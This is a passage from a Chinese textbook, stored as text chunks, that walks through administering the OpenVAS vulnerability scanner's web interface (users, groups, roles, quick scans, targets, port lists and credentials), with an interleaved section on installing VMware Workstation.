UTC，即2019年11月26日、星期二、3时7分7秒。如果想要退出该用户登录，则单击Logout按钮即可，将显示成功退出登录界面，如图10.7所示。 注意： 当重新启动系统后，如果要使用OpenVAS工具，则需要重新启动该服务，否则将无法登录服务器。如果启动服务时出现错误，则使用openvas-setup命令重新同步数据库即可，将会自动启动相关服务。 图10.7 成功退出登录 未知 10.2.3 界面概览 在最新版本的OpenVAS 9中新增了Dashboard功能。下面对Dashboard功能的界面进行简单介绍。当成功连接到OpenVAS服务后，即可进入Dashboad界面，如图10.8所示。 图10.8 Dashboard界面 图10.8所示界面包括5个部分，分别是Tasks by Severity Class（根据安全级别显示任务数）、Tasks by status（根据状态显示任务数）、CVEs by creation time（根据创建时间显示CVE数）、Hosts topology（扫描主机的拓扑结构）和NVTs by Severity Class（根据安全级别显示漏洞插件数）。"},
    {"text": "未知 10.2.4 设置刷新模式 OpenVAS默认不会自动刷新页面，所以当实施扫描时如果不手动刷新页面，会发现页面一直没有变化，用户可能会误以为OpenVAS没有正常工作。但是实际上它是在后台工作的。此时，需要手动刷新页面来查看扫描的进度。为了弥补该缺点，OpenVAS提供了自动刷新功能，可以设置每隔一段时间自动刷新页面。下面介绍设置刷新模式的方法。 在OpenVAS的菜单栏顶部可以看到一个下拉列表，如图10.9所示。 图10.9 下拉列表 从该下拉列表可以看到，默认选择的是No auto-refresh，即不自动刷新页面。单击下拉列表即可选择自动刷新页面的时间间隔，如图10.10所示。 图10.10 设置自动刷新页面的时间间隔 该下拉列表共包括5个选项，分别是No auth-refresh（不自动刷新）、Refresh every 30 Sec（每30秒刷新一次）、Refresh every 60 Sec（每60秒刷新一次）、Refresh every 2 Min（每两分钟刷新一次）和Refresh every 5 Min（每五分钟刷新一次）。例如，这里设置为每30秒刷新一次，如图10.11所示。 图10.11 设置效果 此时，每隔30秒将会自动刷新一次页面。 未知 2.1 使用VMware Workstation VMware Workstation可以创建虚拟计算机环境，并安装操作系统，模拟出独立的操作系统。用户可以安装的操作系统有Windows、Linux、Mac OS等。这些系统都可以到它们的官网下载相应的镜像文件，然后在VMware Workstation上安装。本节将介绍使用VMware Workstation创建虚拟机的方法。 未知 10.3 管理服务 默认情况下，OpenVAS服务仅创建了一个名为admin的用户，而且是管理员用户（拥有最高的权限）。如果想要其他客户端登录，不可能都以管理员身份访问，否则会导致服务器出现混乱，而且不方便管理。所以，为了方便管理OpenVAS服务，可以根据需求创建不同级别的用户和组。另外，还可以对用户、用户组和角色进行管理。下面将分别介绍管理用户、组及角色的方法。 未知 10.3.1 管理用户 在OpenVAS的用户管理界面，可以创建、编辑、克隆和导出用户。下面将介绍管理用户的方法。 【实例10-3】 创建用户。具体操作步骤如下： （1）在OpenVAS服务的主界面依次选择Administration|Users命令，即可打开用户界面，如图10.12所示。 图10.12 用户界面 （2）从图10.12所示界面可以看到仅有一个admin用户。此时，单击 （新建用户）按钮，将弹出如图10.13所示的对话框。 （3）在该对话框中可以设置用户的名称、密码、角色、组及访问权限等。下面介绍每个选项的含义。 ·Login Name：登录名称，即用户名。 ·Authentication Password：新建用户的认证密码。 ·Roles：设置用户的角色。OpenVAS默认支持使用者创建6种角色的用户，分别是Admin、Guest、Info、Monitor、Observer和User。管理员可以通过单击Roles文本框，为新建的用户分配多个角色。 图10.13 新建用户对话框 ·Groups：设置用户所在组。默认没有创建任何组。可以先不设置该配置项，当创建组时将该用户加入组即可。管理员可以通过单击Groups文本框，将新建的用户加入到不同的组。 ·Host Access：该选项用来设置允许访问和拒绝访问的主机。其中，Allow all and deny选项用来设置禁止用户访问的特定主机；Deny all and allow选项用来设置允许用户访问的特定主机。例如，希望新创建的用户访问除192.168.1.10之外的所有主机，则单击Allow all and deny单选按钮，然后在文本框中输入IP地址192.168.1.10。 ·Interface Access：该选项用来设置允许访问的接口。该配置项也提供了两个选择，分别是Allow all and deny和Deny all and allow，其含义和Host Access中的选项含义相同，只是这里指定允许和拒绝的是主机的接口，而不是IP地址。其中，Linux中的接口通常是eth0和eth1等。 本例中新建的用户信息如图10.14所示。 图10.14 新建的用户信息 （4）从如图10.14所示的对话框可以看到，创建了一个名为bob的用户，用户角色为User。设置完成后单击Create按钮，将显示如图10.15所示的界面。 图10.15 新建的用户 （5）新建的用户界面显示了新建用户bob的相关信息，如角色、访问权限及认证类型等。在该界面中，可以通过单击Actions列中的按钮 ，分别进行删除、编辑、克隆及导出该用户信息为XML。 【实例10-4】 克隆bob用户。操作步骤如下： （1）单击Actions列的克隆按钮 ，即可克隆bob用户。成功克隆用户后，将显示克隆用户的详细信息，如图10.16所示。 图10.16 克隆的用户信息 （2）从图10.16所示的界面可以看到，克隆的用户名为bob_Clone_1。如果希望对该用户的设置进行修改，单击编辑按钮 ，将打开用户编辑对话框，如图10.17所示。 图10.17 编辑用户信息 （3）图10.17所示界面显示了克隆用户的基本信息。这里可以重新设置该用户的名称、密码、角色、组及权限等。例如，修改该用户的名称为alice，然后单击Save按钮保存设置，将显示如图10.18所示的界面。 图10.18 克隆的alice用户信息 （4）接下来返回用户界面，将看到有三个用户，如图10.19所示。 图10.19 用户界面 （5）从用户界面可以看到新建的bob和alice用户。如果想要查看用户的详细信息，则单击用户名称。例如，查看bob用户的详细信息，将显示如图10.20所示的界面。 图10.20 用户的详细信息 （6）从图10.20所示界面中可以看到用户bob的详细信息，包括ID、创建时间、修改时间、所有者、角色、组和权限等。如果想要删除某用户，则单击 按钮即可。"},
    {"text": "未知 10.3.2 管理用户组 用户组就是指许多个用户的组合。在网络中，每个访问网络的用户的权限可能各不相同，所以可以将具有相同权限的用户划为一组，这样就不需要单独为某个用户设置权限了，而只需要设置组的权限即可。在用户组管理界面，可以创建、编辑、克隆、删除和导出用户组。下面介绍管理用户组的方法。 【实例10-5】 新建用户组。具体操作步骤如下： （1）在OpenVAS服务的主界面依次选择Administration|Groups命令，即可打开组界面，如图10.21所示。 图10.21 组界面 （2）从组界面可以看到，目前还没有创建任何组。单击 （新建组）按钮，将打开如图10.22所示的对话框。 图10.22 新建组对话框 （3）该对话框中有4个配置项，下面介绍每个配置项的含义。 ·Name：新建组的名称 ·Comment：设置注释信息。可以不设置。 ·Users：设置加入该组的用户。 ·Special Groups：特权组。选中该选项后面的复选框，则该组的所有成员将拥有完全的读和写权限，可以访问任何资源。该选项要慎重选择，避免一些用户滥用权限。 本例中创建一个名为TestTeam的组，并将前面创建的用户bob和alice加入该组，且拥有完全的读和写权限，如图10.23所示。 图10.23 新建的组信息 （4）设置完成后，单击Create按钮，即可成功创建TestTeam组。成功创建TestTeam组后将显示如图10.24所示的界面。 图10.24 新建的组 （5）从新建的组界面中可以看到TestTeam组已成功创建。如果想要查看组的详细信息，单击该组的名称即可，如图10.25所示。 图10.25 新建组的详细信息 （6）从该界面可以看到该组的详细信息，如组ID、创建时间、修改时间、所有者及组内的成员等。同样，在用户组界面，单击右侧Actions列中的 按钮，可以对该组分别进行删除、编辑、克隆和导出组信息为XML的操作。具体实现方法和对用户的操作类似，这里就不再介绍。 为了验证是否成功地将bob和alice用户加入到了TestTeam组，可以通过选择Administration|Users命令查看用户信息，如图10.26所示。 图10.26 用户界面 从用户界面可以看到，bob和alice用户已属于TestTeam组。 提示： 通常在有大量用户需要进行管理时，创建组是非常重要的。如果只有几个用户，则没有必要创建组。 未知 10.3.3 管理角色 角色简单地说就是拥有不同权限级别的用户。OpenVAS默认创建了7种角色，分别是Admin（管理员）、Guest（来宾用户）、Info（信息浏览）、Monitor（性能监控）、Observer（观察者）、Super Admin（超级管理员）和User（普通用户）。其中，Super Admin用户的权限是最大的。如果这些角色都不能满足用户，则可以手动创建新的角色。另外，用户还可以对角色进行其他管理，如删除、克隆和导出。下面将介绍管理角色的方法。 【实例10-6】 创建角色。具体操作步骤如下： （1）在OpenVAS的主界面依次选择Administration|Roles命令，将打开角色列表界面，如图10.27所示。 （2）从角色列表界面中可以看到默认有7种角色。用户可以单击任何一个角色名称，查看该角色拥有的权限。例如查看Info角色的权限，将显示如图10.28所示的界面。 （3）从该界面中可以看到，Info角色共拥有8种权限，如authenticate（允许登录）、commands（允许一次运行多个OMP命令）、get_aggregates（允许读取aggregates）等。还可以单击权限名称，查看每种权限的详细信息。在该界面中单击 （新建角色）按钮，将打开新建角色对话框，如图10.29所示。 图10.27 角色列表 图10.28 Info角色的权限 图10.29 新建角色对话框 （4）在图10.29所示对话框的Name文本框中输入角色名称，在Comment文本框中输入注释信息，在Users文本框中输入使用该角色的用户，然后单击Create按钮创建角色，创建成功后将显示如图10.30所示的界面。 图10.30 新建的角色 （5）从新建的角色界面中可以看到角色列表中新增了一个名为TestTeam的角色，由此可以说明该角色创建成功。新建的角色默认没有任何权限，用户可以为该角色添加权限。 【实例10-7】 编辑角色。具体操作步骤如下： （1）单击Action列中的编辑按钮 ，将打开编辑角色对话框，如图10.31所示。 图10.31 编辑角色对话框 （2）在编辑角色对话框中可以修改该角色的名称、用户及权限。在New Permission部分的Name下拉列表框中可以查看到所有权限，例如选择authenticate（May login）权限，然后单击Create Permission按钮，即可成功该权限。可以使用该方法依次添加多个权限。添加完成后，在General Command Permissions部分将会看到添加的权限，如图10.32所示。 图10.32 添加的权限 （3）从图10.32所示界面中可以看到，添加了authenticate和commands两个权限。如果想要删除某个权限，单击Actions列中的移到回收站按钮 即可。在该界面中，用户还可以为组添加权限，例如选择TestTeam组，然后单击Create Permissons按钮即可。创建完成后，单击Save按钮即可返回角色列表，如图10.33所示。 图10.33 角色列表 （4）在角色列表界面中同样可以单击 按钮，分别对角色进行删除、编辑、克隆和导出角色信息为XML的操作。如果希望查看某角色的详细信息，则单击该角色的名称，如图10.34所示。 提示： 如果需要为OpenVAS服务中的用户赋予不同权限，则通过创建不同角色，并将其用户加入该角色即可实现对用户不同权限的分配。 图10.34 TestTeam角色的详细信息"},
    {"text": "未知 10.4 快速扫描 当用户将OpenVAS服务搭建好，并且成功启动该服务后，便可以开始扫描网络。OpenVAS默认提供了两种快速扫描方式，分别是简单扫描向导和高级扫描向导。本节将介绍这两种快速扫描的实施方法。 未知 10.4.1 使用简单扫描向导 简单扫描向导将使用OpenVAS的默认设置，自动创建目标和任务，并开始扫描。下面介绍使用简单扫描向导扫描目标的方法。 【实例10-8】 使用简单的方法扫描向导实施扫描。具体操作步骤如下： （1）登录OpenVAS服务。在菜单栏中依次选择Scans|Tasks命令，打开扫描任务界面，如图10.35所示。 （2）单击扫描任务界面左上角的向导按钮 ，将显示一个向导下拉列表，如图10.36所示。 （3）该列表包括3个选项，分别是Task Wizard（简单扫描向导）、Advanced Task Wizard（高级扫描向导）和Modify Task Wizard（修改扫描向导）。选择Task Wizard选项，将显示简单扫描向导界面，如图10.37所示。 （4）在简单扫描向导界面的IP address or hostname文本框中指定目标主机地址，即可快速实施扫描。其中，默认的地址是127.0.0.1。从该界面中可以看到，该任务向导将进行4步操作，分别是新建目标、新建任务、开启扫描任务、设置每30秒刷新一次页面。例如，这里扫描默认的主机地址为127.0.0.1，然后单击Start Scan按钮，将开始对目标进行扫描，如图10.38所示。 图10.35 扫描任务界面 图10.36 向导下拉列表 图10.37 简单扫描向导界面 （5）从图10.38可以看到，创建了一个扫描任务，名称为Immediate scan of IP 127.0.0.1，并且正在扫描该目标主机；从Status（状态）列可以看到，当前扫描进度为1%。另外，从菜单栏顶部可以看到启用了自动刷新，并设置为Refresh every 30 Sec。当扫描完成后，将显示如图10.39所示的界面。 图10.38 正在扫描主机 图10.39 扫描完成 （6）从Status列可以看到，当前显示为Done，即扫描完成。 未知 10.4.2 使用高级扫描向导 高级扫描向导允许用户自定义一些设置，如扫描任务名称、扫描配置、扫描目标、起始时间和证书等。下面介绍使用高级扫描向导实施快速扫描的方法。 【实例10-9】 使用高级扫描向导对目标进行快速扫描。具体操作步骤如下： （1）在扫描任务界面中单击向导按钮 ，并在下拉列表中选择Advanced Task Wizard选项，将显示高级扫描向导界面，如图10.40所示。 图10.40 高级扫描向导 （2）高级扫描向导界面显示了默认的高级扫描向导配置信息。其中，默认的名称为New Quick Task，扫描配置方案为Full and fast，目标主机地址为127.0.0.1，扫描任务的启动时间为立即启动。如果不希望立即扫描，则可以创建扫描计划或者手动启动扫描任务。另外，如果目标系统需要身份认证才能访问，则需要设置认证信息。这里将使用默认配置进行快速扫描，单击Create按钮，将开始扫描，如图10.41所示。 （3）从扫描界面中可以看到，创建了一个名为New Quick Task的扫描任务，并且正在实施扫描。扫描完成后，显示如图10.42所示的界面。 图10.41 正在扫描 图10.42 扫描完成 （4）从图10.42所示界面中可以看到，Status（状态）列显示为Done，即扫描完成。 在kindle搜索B089Y82SSX可直接购买阅读 未知 第11章 准备工作 使用OpenVAS的默认配置，可快速实施扫描。如果希望进行更高级的扫描，则需要进行一些准备工作，如管理目标、端口号及认证信息等。本章将介绍这些准备工作。 未知 11.1 管理目标 目标就是用来扫描的目标主机。在OpenVAS中，默认内置有目标主机，用户可以直接进行扫描。如果用户有针对性的目标主机，则可以新建目标。本节将对目标主机进行管理。"},
    {"text": "未知 11.1.1 预置目标 预置目标就是OpenVAS预先设置的目标。在前面的快速扫描中，两种方式默认的主机地址都是127.0.0.1。当扫描完成后，在目标列表中即可看到这两个扫描任务的预置目标信息。下面将对预置目标信息进行介绍。 1.目标详情 目标详情中显示了目标的详细信息。为了能够详细地了解预置目标信息，这里将查看该目标详情。在菜单栏中依次选择Configuration|Targets命令，将显示扫描目标列表，如图11.1所示。 从扫描目标界面中可以看到，有两个扫描目标信息，名称分别为Target for immediate scan of IP 127.0.0.1和Target for New Quick Task。其中，这两个扫描目标的主机地址都为127.0.0.1，端口列表为OpenVAS Default。此时，单击任意扫描目标名称，将显示目标详情，如图11.2所示。 目标详情包括4部分，分别是目标信息、目标关联的任务、用户标签和权限。从目标信息部分可以看到内置的目标主机地址为127.0.0.1，扫描的最大主机数为1，端口列表为OpenVAS Default，扫描配置为Scan Config Default。 图11.1 扫描目标列表 图11.2 目标详情 2.关联任务 关联任务部分可以看到哪个扫描任务使用了当前的目标。在目标详情页面可以看到目标关联的任务，如图11.3所示。 图11.3 关联的任务 从图11.3所示界面可以看到，当前目标主机关联的扫描任务为Immediate scan of IP 127.0.0.1。 3.添加标签 还可以为目标添加标签。通过标签的方式可以对某个特定目标进行标记，以方便查找。其中，设置目标标签的界面如图11.4所示。 图11.4 用户标签 从用户标签界面中可以看到，标签值为none，即没有标签。单击新建标签按钮 ，弹出新建标签对话框，如图11.5所示。 图11.5 新建标签 在新建标签对话框中可以设置标签的相关信息，如Name（名称）、Comment（注释）、Value（值）、Resource Type（资源类型）、Resource ID（资源ID）和Active（激活）。设置完成后，单击Create按钮，即可成功创建标签，如图11.6所示。 图11.6 成功创建的标签 从图11.6可以看到，成功创建了名为DefaultHost的标签。通过单击Actions列的 按钮，可以对标签进行管理，如禁用标签、删除标签和编辑标签。在菜单栏中依次选择Configuration|Tags命令，将显示标签列表界面，如图11.7所示。 从该界面可以看到有两个标签，标签名为Common Port和DefaultHost。 4.创建多种权限 用户还可以为目标创建多种权限，默认没有添加任何权限，如图11.8所示。 图11.7 标签列表 图11.8 权限列表 从权限列表界面中可以看到，当前目标没有设置任何权限。单击右上角的创建多权限按钮 ，弹出创建多权限对话框，如图11.9所示。 图11.9 创建多权限 在创建多权限对话框中可以设置授予该目标的权限给某用户、组或角色。其中，可以授予的权限有read（读取）和proxy（代理）。设置完成后，单击Create按钮，将看到创建的权限，如图11.10所示。 图11.10 添加的权限 从该界面可以看到，成功地添加了一个名称为get_targets的权限。"},
    {"text": "未知 2.1.1 安装VMware Workstation 如果要使用VMware Workstation软件，则必须先在系统中进行安装。其中，VMware Workstation软件的下载地址为 http://www.vmware.com/cn/products/workstation/workstation-evaluation 。当用户在浏览器中成功访问该网址后，将显示VMware Workstation的下载页面，如图2.1所示。 图2.1 VMware Workstation下载页面 从下载页面中可以看到，VMware Workstation Pro产品支持在Windows和Linux系统中使用。此时，用户可以根据自己的操作系统类型，选择VMware Workstation安装包。这里选择下载Windows安装包，所以单击Windows安装包下面的“立即下载”链接进行下载。下载完成后，即可使用该安装包来安装VMware Workstation。 【实例2-1】 在Windows中安装VMware Workstation。具体操作步骤如下： （1）双击下载的安装包，打开安装向导对话框，如图2.2所示。 （2）该对话框显示了安装VMware Workstation的欢迎信息。单击“下一步”按钮，弹出“最终用户许可协议”对话框，如图2.3所示。 图2.2 安装向导对话框 图2.3 “最终用户许可协议”对话框 （3）图2.3所示对话框显示了使用VMware的用户许可协议。选中“我接受许可协议中的条款”复选框，并单击“下一步”按钮，弹出“自定义安装”对话框，如图2.4所示。 （4）在该对话框中，可以自定义VMware Workstation的安装位置。默认安装在C:\\Program Files(x86)\\VMware\\WMware Workstation目录中。如果希望安装到其他位置，则单击“更改”按钮指定安装位置。单击“下一步”按钮，弹出“用户体验设置”对话框，如图2.5所示。 图2.4 “自定义安装”对话框 图2.5 “用户体验设置”对话框 （5）图2.5所示对话框用来设置用户体验信息，包括“启动时检查产品更新”和“加入VMware客户体验提升计划”两个复选框，默认都是启用的。这里使用默认设置，单击“下一步”按钮，弹出“快捷方式”对话框，如图2.6所示。 （6）该对话框显示了VMware Workstation的快捷方式位置，默认将在“桌面”和“开始菜单程序文件夹”中创建。单击“下一步”按钮，弹出“已准备好安装VMware Workstation Pro”对话框，如图2.7所示。 图2.6 “快捷方式”对话框 图2.7 “已准备好安装VMware Workstation Pro”对话框 （7）此时，基本设置工作就完成了。单击“安装”按钮，开始安装VMware Workstation。安装完成后，弹出“VMware Workstation Pro安装向导已完成”对话框，如图2.8所示。 图2.8 “VMware Workstation Pro安装向导已完成”对话框 （8）从该对话框可以看到，VMware Workstation已安装完成。由于VMware Workstation Pro不是免费版，所以需要输入许可证密钥，激活后才可以长期使用。单击“许可证”按钮，弹出“输入许可证密钥”对话框，如图2.9所示。 （9）在该对话框中输入一个许可证密钥后，单击“输入”按钮，将回到“VMware Workstation Pro安装向导已完成”对话框，如图2.10所示。 （10）从该对话框中可以看到，VMware Workstation Pro安装向导已完成。单击“完成”按钮，VMware Workstation软件即可安装成功。接下来，用户就可以使用该虚拟机安装操作系统了。 图2.9 “输入许可证密钥”对话框 图2.10 “安装向导已完成”对话框 未知 11.1.2 新建目标 预置目标大部分使用的是OpenVAS的默认设置。如果用户希望对目标做更详细的设置，可以手动创建目标，以对其他目标主机实施扫描。下面将介绍新建目标的方法。 【实例11-1】 新建目标。具体操作步骤如下： （1）在菜单栏中依次选择Configuration|Targets命令，打开扫描目标界面。单击新建目标按钮 ，将弹出新建目标对话框，如图11.11所示。 图11.11 新建目标 （2）在该对话框中可以设置目标的相关信息，如名称、注释、目标主机地址、认证信息等。下面介绍每个配置项的含义。 ·Name：目标名称。 ·Comment：注释信息。 ·Hosts：扫描的目标主机地址。这里有两种指定扫描目标地址的方式，分别是Manual和From file。其中，Manual表示手动指定扫描目标主机的地址，指定的地址可以是IP、主机名或CIDR格式。如果同时指定多个目标主机，则地址之间使用逗号分隔。From file表示从主机文件列表中读取目标地址。用户可以提前将扫描的目标主机地址写入到一个文件中，然后单击Browse按钮选择该目标列表文件。 ·Exclude Hosts：排除的扫描主机。如果用户指定一个扫描范围时，可以使用该选项指定排除该范围内的某个主机。 ·Reverse Lookup Only：仅反向查询。 ·Reverse Lookup Unify：统一反向查询。 ·Port List：扫描的端口列表。OpenVAS默认提供了9种方法，分别是All IANA assigned TCP 2012-02-10、All IANA assigned TCP and UDP2012-02-10、All privileged TCP、All privileged TCP and UDP、All TCP、All TCP and Nmap 5.51 top 100 UDP、All TCP and Nmap 5.51 top 1000 UDP、Nmap 5.51 top 2000 TCP and top 100 UDP和OpenVAS Default。 ·Alive Test：选择扫描配置。 ·Credentials for authenticated checks：设置认证信息。其中，支持的认证信息有SSH、SMB、ESXi和SNMP。 例如，这里将创建一个名为Windows 7、端口列表为All TCP的扫描目标。其中，设置的目标主机信息如图11.12所示。 图11.12 目标主机信息 （3）单击Create按钮，即可成功创建扫描目标，如图11.13所示。 图11.13 创建目标成功 （4）从图11.13所示界面可以看到，成功创建了一个名为Windows 7的目标。"},
    {"text": "未知 11.2 管理端口号 在网络中，每个应用程序都有一个对应的端口号。简单地说，端口号就像门牌号一样，客户端通过IP地址找到对应的服务器端，但是服务器端有很多端口，每个应用程序对应特定端口号，客户端通过端口号才能真正的访问到该服务器。当用户实施扫描时，可以使用预置的端口列表，也可以自定义或导入端口列表。本节将对端口号进行管理。 未知 11.2.1 预置端口列表 在OpenVAS中，默认内置了多个端口列表，用户可以直接选择对这些端口进行扫描。需要注意的是，这些端口列表无法进行修改。下面将介绍预置端口列表的方法。 1.端口列表概述 在菜单栏中依次选择Configuration|Port Lists命令，将显示端口列表界面，如图11.14所示。 图11.14 端口列表 从该界面可以看到，默认内置了9个端口列表，如All IANA assigned TCP 2012-02-10、All privileged TCP、All privileged TCP and UDP等。在该列表中，共包括5列，分别是Name（名称）、Total（总端口数）、TCP（TCP端口数）、UDP（UDP端口数）和Actions（操作）。为了使用户对这几个端口列表中的端口范围更加了解，下面将分别介绍每个端口列表。 ·All IANA assigned TCP 2012-02-10：表示2012年2月10日由IANA机构分配的TCP端口。其中，扫描的TCP端口数为5625。 ·All IANA assigned TCP and UDP 2012-02-10：表示2012年2月10日由IANA机构分配的TCP和UDP端口。其中，扫描的TCP端口数为5625，UDP端口数为5363。 ·All privileged TCP：表示所有拥有特权的TCP端口。其中，扫描的TCP端口共1023个。 ·All privileged TCP and UDP：表示所有拥有特权的TCP和UDP端口。其中，扫描的TCP和UDP端口数都为1023。 ·All TCP：表示所有的TCP端口。其中，扫描的端口数为65 535。 ·All TCP and Nmap 5.51 top 100 UDP：表示所有TCP和Nmap 5.51推荐的100个UDP端口。其中，扫描的TCP端口数为65 535，UDP端口数为99。 ·All TCP and Nmap 5.51 top 1000 UDP：表示所有TCP和Nmap 5.51推荐的1000个UDP端口。其中，扫描的TCP端口数为65 535，UDP端口数为999。 ·Nmap 5.51 top 2000 TCP and top 100 UDP：表示Nmap 5.51推荐的2000个TCP端口和100个UDP端口。其中，扫描的TCP端口数为1999；UDP端口数为99。 ·OpenVAS Default：表示OpenVAS服务的默认端口。其中，扫描的TCP端口数为4481。 2.查看端口列表详情 用户单击端口列表名称，即可查看端口列表详情，如端口范围、关联目标、用户标签等。例如，查看名为All TCP的端口列表。单击该端口列表名，即可查看其详细信息，如图11.15所示。 图11.15 端口列表详情 端口列表详情包括5部分信息，分别是Port List（端口列表详情）、Port Ranges（端口范围）、Targets using this Port List（关联目标）、User Tags（用户标签）和Permissions（权限）。从该界面可以看到，All TCP端口列表包括TCP的65 535个端口，范围为1～65 535。 3.关联目标 关联目标就是指使用该端口列表的扫描目标。其中，关联目标部分信息如图11.16所示。 从该部分信息可以看到，有一个名为Windows 7的目标使用了当前的端口列表。 4.用户标签 用户还可以为端口列表设置标签，如图11.17所示。 图11.16 关联目标 图11.17 用户标签 默认没有添加任何标签。单击右上角的新建标签按钮 ，将弹出新建标签对话框，如图11.18所示。 图11.18 新建标签 在该对话框中可以设置标签信息，如名称、注释、值等。例如，这里设置标签名为Common Port。单击Create按钮，即可成功创建用户标签，如图11.19所示。 图11.19 添加标签成功 从图11.19所示界面可以看到，成功添加了一个名为Commont Port的标签。 5.使用权限 用户还可以为端口列表添加权限。其中，设置权限部分如图11.20所示。 图11.20 权限 从图11.20所示界面可以看到，默认没有使用任何权限。单击新建权限按钮 ，将弹出新建权限对话框，如图11.21所示。 图11.21 创建权限 在图11.21所示对话框中可以为该端口列表设置权限到某个用户、角色或组。单击Create按钮，即可成功添加权限，如图11.22所示。 图11.22 成功添加权限 从图11.22所示界面可以看到，添加了一个名为get_port_lists的权限，该权限可以用来读取Common TCP端口列表。"},
    {"text": "未知 11.2.2 自定义端口列表 如果预置的端口列表不符合用户的需求，则可以自定义端口列表。自定义端口列表有两种方法，分别是直接指定端口和使用端口列表文件。下面将介绍自定义端口列表的方法。 【实例11-2】 自定义端口列表。操作步骤如下： （1）在端口列表界面中，单击新建端口按钮 ，将弹出新建端口列表对话框，如图11.23所示。 （2）该对话框包括三个设置选项，分别是Name（名称）、Comment（注释）和Port Ranges（端口范围）。并且指定端口范围有两种方式，第一个单选按钮用来直接指定端口，格式为“T:1-5,7,9,U:1-3,5,7,9”，其中T表示TCP端口，U表示UDP端口，不同类型端口之间使用分号分隔，端口之间使用逗号分隔，端口范围使用连字符分隔；第二个单选按钮表示从端口列表文件读取端口。例如，这里将创建一个名为Common TCP的端口列表，并指定扫描的端口为TCP的21、22、23、25和80，如图11.24所示。 图11.23 新建端口列表 图11.24 端口列表设置信息 （3）单击Create按钮，即可成功创建端口列表，如图11.25所示。 图11.25 端口列表创建成功 （4）从图11.25所示界面可以看到，成功创建了一个名为Common TCP的端口列表。此时，用户还可以对该端口列表进行管理，如删除、编辑、克隆和导出。 未知 11.2.3 导出端口列表 如果用户希望将定义的端口列表在其他OpenVAS服务器中使用，可以将该端口列表导出。下面将介绍导出端口列表的方法。 【实例11-3】 导出端口列表。操作步骤如下： （1）在菜单栏中依次选择Configuration|Port Lists命令，打开端口列表界面，如图11.26所示。 图11.26 端口列表 （2）这里将选择导出名为Common TCP的端口列表。单击该端口列表Actions（操作）列中的导出按钮 ，将弹出保存端口列表文件的对话框，如图11.27所示。 图11.27 保存端口列表文件 （3）选中Save File单选按钮，并单击OK按钮，即可成功导出该端口列表。其中，导出的端口列表文件名为port_list-c7e03b6c-3bbe-11e1-a057-406186ea4fc5.xml。 未知 11.2.4 导入端口列表 用户从其他OpenVAS服务器中导出的端口列表，也可以导入到另一个OpenVAS服务器中。下面将介绍导入端口列表的方法。 【实例11-4】 导入端口列表port.xml。例如，将11.2.3节导出的端口列表导入到当前OpenVAS服务器。这里将导出的端口列表文件重命名为了port.xml。具体操作步骤如下： （1）在菜单栏中依次选择Configuration|Port Lists命令，打开端口列表界面，如图11.28所示。 图11.28 端口列表 （2）单击左上角的导入按钮 ，将弹出导入端口列表对话框，如图11.29所示。 （3）单击Browse按钮，选择导入的端口列表文件port.xml，如图11.30所示。 图11.29 导入端口列表 图11.30 选择导入的端口列表文件 （4）单击Create按钮，即可成功导入该端口列表，如图11.31所示。 （5）从该界面可以看到，成功导入了一个名为Common TCP的端口列表。 图11.31 成功导入端口列表 未知 11.3 管理认证信息 认证信息是指访问服务的登录名和密码。如果要扫描一些认证服务，则需要提供对应的认证信息。本节将介绍如何在OpenVAS中对认证信息进行管理。 未知 11.3.1 认证信息类型 OpenVAS支持4种认证信息类型，分别是用户名+密码、用户名+SSH密钥、客户端证书和SNMP。为了方便用户添加或管理认证信息，下面将分别介绍每种认证信息类型。 1.用户名+密码 用户名+密码是最常见的一种服务认证信息。当用户选择这种认证类型时，将会显示一个用户名文本框和一个密码文本框。在新建认证信息对话框的Type下拉列表框中选择Username+Password选项，如图11.32所示。 此时，需要在Username文本框中输入用户名，在Password文本框中输入密码。 2.用户名+SSH密钥 用户名+SSH密钥主要是针对SSH服务认证。由于SSH服务支持口令认证和密钥认证，如果目标服务设置使用密钥认证，则添加的认证信息类型也需要选择用户名+SSH密钥。在Type下拉列表框中选择Username+SSH Key选项，如图11.33所示。 图11.32 用户名+密码认证类型 图11.33 用户名+SSH密钥认证类型 图11.33所示的对话框中显示了三个相关选项，分别是Username、Passphrase和Private Key。其中，Username用来指定用户名，Passphrase用来指定密码短语，Private Key用来指定认证密钥。 3.客户端证书 客户端证书通常用于访问Web服务器，如SSL认证。此时，用户则需要提供对应的证书和私钥。在Type下拉列表框中选择Client Certificate选项，将显示证书设置相关选项，如图11.34所示。 从该对话框可以看到，提供客户端证书的选项为Certificate和Private Key。其中，Certificate用来指定客户端证书，Private Key用来指定客户端私钥。 图11.34 客户端证书认证类型 4.SNMP认证 SNMP是一个网络管理协议，主要用来管理网络设备。使用SNMP可以获取大量设备信息，如设备生产厂商、版本号等。如果使用该协议，则需要提供对应的认证信息。在Type下拉列表框中选择SNMP选项，将显示SNMP认证信息设置相关选项，如图11.35所示。 图11.35 SNMP认证类型 下面介绍每个选项及含义。 ·SNMP Community：指定SNMP社区名。 ·Username：指定用户名。 ·Password：指定密码。 ·Privacy Password：指定私钥密码。 ·Auth Algorithm：指定认证算法。 ·Privacy Algorithm：指定私钥算法。"},
    {"text": "未知 11.3.2 添加认证信息 当用户对所有认证信息类型了解清楚后，便可以添加需要的认证信息。下面将介绍添加认证信息的方法。 【实例11-5】 添加认证信息。具体操作如下： （1）在菜单栏中依次选择Configuration|Credentials命令，将显示新建认证信息列表界面，如图11.36所示。 图11.36 认证信息列表 （2）单击新建认证信息按钮 ，将弹出新建认证信息对话框，如图11.37所示。 图11.37 新建认证信息对话框 从图11.37所示对话框可以看到所有的认证信息配置选项，下面介绍每个选项及含义。 ·Name：指定认证信息名称。 ·Comment：添加注释信息。 ·Type：设置认证类型。 ·Allow Insecure use：是否允许无保障的使用。 ·Auto-generate：是否自动生成。 ·Username：指定认证的用户名。 ·Password：指定认证密码。 例如，这里将添加一个SSH服务的认证信息，并设置认证类型为Username+Password，具体配置信息如图11.38所示。 图11.38 设置的认证信息 （3）单击Create按钮，即可成功添加认证信息，如图11.39所示。从该界面可以看到，成功创建了一个名为SSH的认证信息。 图11.39 认证信息创建成功 未知 11.3.3 管理认证信息 当用户添加认证信息后，便可以对其进行管理。在认证信息管理界面，用户可以删除、编辑、克隆、导出和下载认证信息。下面将介绍管理认证信息的方法。 【实例11-6】 对11.3.2节创建的认证信息进行管理。例如，编辑该认证信息，设置认证用户名为test，具体操作步骤如下： （1）打开认证信息列表界面，如图11.40所示。 图11.40 认证信息列表 （2）图11.40所示界面共包括5列，分别是Name（名称）、Type（类型）、Allow insecure use、Login（登录名）和Actions（操作）。单击Actions列的编辑按钮 